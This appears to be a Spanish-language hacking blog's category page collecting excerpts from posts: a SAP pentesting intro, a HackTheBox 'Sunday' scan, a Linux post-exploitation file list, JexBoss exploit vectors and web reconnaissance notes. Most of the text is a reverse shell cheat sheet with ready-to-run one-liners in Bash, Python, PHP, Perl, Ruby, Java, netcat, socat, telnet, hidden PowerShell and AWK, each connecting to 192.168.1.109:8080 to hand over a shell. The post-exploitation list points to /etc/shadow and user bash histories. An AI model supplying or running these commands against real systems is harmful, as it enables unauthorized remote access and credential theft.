Categoría: Hacking
Hacking
Guía básica para pentesting de un entorno SAP
¿Que es SAP?
SAP Business Suite es un conjunto de programas que permiten a las empresas ejecutar y optimizar distintos aspectos como los sistemas de ventas, finanzas, operaciones bancarias, compras, fabricación, inventarios y relaciones con los clientes. Ofrece la posibilidad de realizar procesos específicos de la empresa o crear módulos independientes para funcionar con otro software de SAP o de otros proveedores. SAP está basado en una plataforma de tecnología integrada llamada NetWeaver.1 La suite puede soportar sistemas operativos, bases de datos, aplicaciones y componentes de hardware de casi cualquier proveedor.
Leer másHackTheBox – Sunday Writeup
Escaneamos todos los puertos mediante nmap:
nmap -A -T5 -Pn -p 10000-20000 10.10.10.76
PORT STATE SERVICE VERSION
79/tcp open finger
111/tcp open rpcbind
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
33381/tcp open smserverd 1 (RPC #100155)60722/tcp open smserverd 1 (RPC #100155
Linux Post Exploitation Cheat Sheet
Recolección de información
| Comandos | DESCRIPCIÓN |
| /etc/resolv.conf | Contiene los servidores DNS |
| /etc/motd | Mensaje del dia |
| /etc/issue | versión de la distribucuón |
| /etc/passwd | Lista de usaurios |
| /etc/shadow | Lista de hashes de usuario (requiere permisos de root) |
| /home/USUARIO/.bash_history | Te muestra los comandos ejecutados por el usuario |
Reverse Shell Cheat Sheet
Listener:
nc -l -v -p 8080
Bash
exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
exec /bin/sh 0</dev/tcp/192.168.1.109/8080 1>&0 2>&0
0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
bash -i >& /dev/tcp/192.168.1.109/8080 0>&1
bash -i >& /dev/tcp/192.168.1.109//8080 0>&1
TCLsh
echo ‘set s [socket 192.168.1.109 8080];while 42 { puts -nonewline $s «shell>»;flush $s;gets $s c;set e «exec $c»;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh
Python
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.1.109»,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’
PHP
php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$sock=fsockopen(«192.168.1.109»,8080);exec(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);shell_exec(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);`/bin/sh -i <&3 >&3 2>&3`;’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);system(«/bin/sh -i <&3 >&3 2>&3»);’
php -r ‘$s=fsockopen(«192.168.1.109»,8080);popen(«/bin/sh -i <&3 >&3 2>&3», «r»);’
Perl
perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’
perl -e ‘use Socket;$i=»192.168.1.109″;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(«tcp»));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,»>&S»);open(STDOUT,»>&S»);open(STDERR,»>&S»);exec(«/bin/sh -i»);};’
perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.1.109:8080″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
Ruby
ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’
ruby -rsocket -e’f=TCPSocket.open(«192.168.1.109»,8080).to_i;exec sprintf(«/bin/sh -i <&%d >&%d 2>&%d»,f,f,f)’
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(«192.168.1.109″,»8080″);while(cmd=c.gets);IO.popen(cmd,»r»){|io|c.print io.read}end’
Java
r = Runtime.getRuntime()
p = r.exec([«/bin/bash»,»-c»,»exec 5<>/dev/tcp/192.168.1.109/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done»] as String[])
p.waitFor()
Telnel:
rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.109 8080 0/tmp/p
rm -f x; mknod x p && telnet 192.168.1.109 8080> 0<x | /bin/bash 1>x
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 192.168.1.109 8080 > f
telnet 192.168.1.109 8080 | /bin/bash | telnet 192.168.1.109
Netcat
nc -e /bin/sh 192.168.1.109 8080
/bin/sh | nc 192.168.1.109 8080
rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.109 8080 0/tmp/p
Socat
socat tcp-connect:192.138.1.109:8080 exec:»bash -li»,pty,stderr,setsid,sigint,sane
Powershell
powershell.exe -w hidden -c ‘$client = New-Object System.Net.Sockets.TCPClient(«192.168.1.109»,8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + «PS » + (pwd).Path + «> «;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’
AWK
awk ‘BEGIN {s = «/inet/tcp/0/192.168.1.109/8080»; while(42) { do{ printf «shell>» |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != «exit») close(s); }}’ /dev/null
Auditando y explotando vulnerabilidades con JexBoss
JexBoss es una herramienta escrita en python que nos sirve para auditar y explotar vulnerabilidades en JBoss Application Server y otras plataformas Java, Frameworks, Aplicaciones, etc.
Vectores de explotación:
- /admin-console
- tested and working in JBoss versions 5 and 6
- /jmx-console
- tested and working in JBoss versions 4, 5 and 6
- /web-console/Invoker
- tested and working in JBoss versions 4, 5 and 6
- /invoker/JMXInvokerServlet
- tested and working in JBoss versions 4, 5 and 6
- Application Deserialization
- tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
- Servlet Deserialization
- tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an «Invoker» in a link)
- Apache Struts2 CVE-2017-5638
- tested in Apache Struts 2 applications
- Others
Pentesting web – Googling
El alcance de esta actividad es la recogida de información acerca de un sitio web publicado en Internet, o encontrar un tipo específico de aplicación, como Webmin o VNC. Hay herramientas disponibles que pueden ayudar con esta técnica, como por ejemplo googlegath, pero también es posible realizar esta operación manualmente usando las opciones de búsqueda de la web de Google. Esta operación no requiere de conocimientos técnicos especializados, y es un sistema muy bueno para recopilar información sobre una web objetivo
Pentesting – Pruebas básicas de reconocimiento web (fingerprinting/footprinting)
Footprinting
El termino footprinting hace referencia a la técnica de descubrir y recoger la mayor cantidad de información posible con respecto a una red de destino, bien porque haya sido publicada a propósito o por desconocimiento. El objetivo es extraer información relativa de la organización que incluye, pero no se limita a:
- Rangos de direcciones IP
- Información del registrador del dominio
- Servidores internos
- Cuentas de correo de los usuarios
- Nombres de las maquinas
- Tipo de firewall implementado
- Tipos de acceso remoto utilizados (SSH o VPN)
- Archivos (doc, xls, ppt, pdf, txt, etc)
- Metadatos, etc
